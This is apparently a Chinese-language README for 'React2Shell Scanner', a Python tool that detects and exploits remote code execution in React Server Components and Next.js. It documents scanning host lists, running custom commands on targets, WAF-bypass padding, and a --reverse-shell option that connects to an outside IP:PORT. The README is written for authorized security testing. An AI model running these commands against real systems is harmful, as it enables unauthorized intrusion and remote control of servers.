用于RSC/Next.js RCE的高保真检测
用于检测React Server Components和Next.js应用程序中远程代码执行(RCE)漏洞的扫描器。
React2Shell Scanner 是一款专用工具,用于识别使用 React Server Components (RSC) 和 Next.js 的应用程序中的远程代码执行(RCE)漏洞。该工具可检测与以下 CVE 相关的漏洞:
该工具利用侧信道检测和 RCE 概念验证进行高保真检测,能够通过自动解析 HTTP 响应来提取已执行命令的动态结果。
此为 @imguimoraes 对 Assetnote Security Research Team 开发的原始扫描器进行编辑的版本。原始 RCE 概念验证由 @maple3142 创建。
pip install requests tqdm
或使用 requirements.txt 文件:
pip install -r requirements.txt
python scanner.py [-u URL | -l FILE] [选项]
python scanner.py -u https://example.com
python scanner.py -l hosts.txt
| 选项 | 描述 |
|---|---|
-u, --url URL | 要检测的单个 URL 或主机 |
-l, --list FILE | 包含主机列表的文件(每行一个) |
| 选项 | 描述 |
|---|---|
-t, --threads N | 并发线程数(默认:10) |
--timeout SECONDS | 请求超时秒数(默认:10) |
-k, --insecure | 禁用 SSL 证书验证(默认启用) |
| 选项 | 描述 |
|---|---|
-o, --output FILE | 输出结果为 JSON 格式的文件 |
--all-results | 保存所有结果到文件,而不仅仅是有漏洞的 |
-v, --verbose | 详细输出(显示响应片段以供分析) |
-q, --quiet | 静默模式(仅显示有漏洞的主机) |
--no-color | 禁用彩色输出 |
| 选项 | 描述 |
|---|---|
-H, --header "Key: Value" | 添加自定义 HTTP 头(可多次使用) |
| 选项 | 描述 |
|---|---|
--safe-check | 使用安全的侧信道检测而非 RCE 概念验证(不执行代码) |
--windows | 使用 PowerShell 载荷而非 Unix shell(适用于 Windows 环境) |
--waf-bypass | 向载荷添加随机数据以绕过 WAF(默认:128KB) |
--waf-bypass-size KB | 用于 WAF 绕过的随机数据大小(KB)(默认:128) |
--payload COMMAND | 在 RCE 中执行的自定义命令(默认:echo $((41*271))) |
--reverse-shell IP:PORT | 创建连接到指定 IP:PORT 的反向 shell |
python scanner.py -u https://target.com
python scanner.py -l targets.txt -t 50 --timeout 15
python scanner.py -l targets.txt -o results.json --all-results
python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"
python scanner.py -u https://target.com --payload "whoami"
python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256
python scanner.py -u https://target.com --windows --payload "whoami"
python scanner.py -l targets.txt --safe-check
python scanner.py -l targets.txt -v --all-results -o full_scan.json
python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444
扫描器使用颜色代码显示结果状态:
对于有漏洞的主机,当可用时,会通过自动提取 X-Action-Redirect 头或响应体显示已执行命令的结果。
当使用 -o 选项时,输出将保存为 JSON 格式,结构如下:
{
"scan_time": "2025-01-XXT00:00:00.000000Z",
"total_results": 10,
"results": [
{
"host": "https://target.com",
"vulnerable": true,
"status_code": 307,
"final_url": "https://target.com/",
"command_result": "11111",
"timestamp": "2025-01-XXT00:00:00.000000Z",
"request": "POST / HTTP/1.1\r\n...",
"response": "HTTP/1.1 307 Temporary Redirect\r\n...",
"error": null
}
]
}
结果字段说明:
vulnerable: true 表示有漏洞,false 表示无漏洞,null 表示发生错误command_result: 从响应中提取的已执行命令的结果(可用时)final_url: 最终测试的 URL(如果启用了重定向跟随)status_code: 响应的 HTTP 状态码request: 发送的完整 HTTP 请求response: 接收到的 HTTP 响应(前 2000 个字符)error: 错误信息(如果有)timestamp: 检测的 UTC 时间戳扫描器提供两种检测方法:
安全检测 (--safe-check): 非侵入式侧信道检测,在不执行代码的情况下检查响应中的错误模式。适用于无影响的初始扫描。
RCE 概念验证: 实际执行远程代码,动态提取结果。利用基于 Node.js child_process 的载荷来执行系统命令。
扫描器自动解析 HTTP 响应以提取已执行命令的结果:
X-Action-Redirect 头中提取(格式:NEXT_REDIRECT;push;/login?a=<result>;307;)E{"digest":"<result>"} 或 1:E{"digest":"<result>"})--payload 参数支持任何自定义命令/载荷提取过程是动态的,不依赖于固定值,从而可以验证任何命令的执行。
当使用 --waf-bypass 选项时:
--waf-bypass-size 配置大小(默认:128KB)--payload 参数允许指定要执行的任何命令:
echo $((41*271))(结果:11111)--windows 激活时,使用 PowerShell 命令命令结果会自动提取并显示,与返回值无关。
--reverse-shell 选项允许建立反向 shell 连接:
IP:PORT(例如:192.168.1.100:4444)powershell.exe/bin/sh本工具仅用于教育目的和授权安全测试。
原始 RCE 漏洞利用由 @maple3142 创建。
原始扫描器由 Assetnote Security Research Team 开发:
本编辑版本保留了原始扫描器的功能,并增加了以下改进:
编辑者:guiimoraes
如果您发现错误或有改进建议,请在仓库中提交 issue,详细描述问题。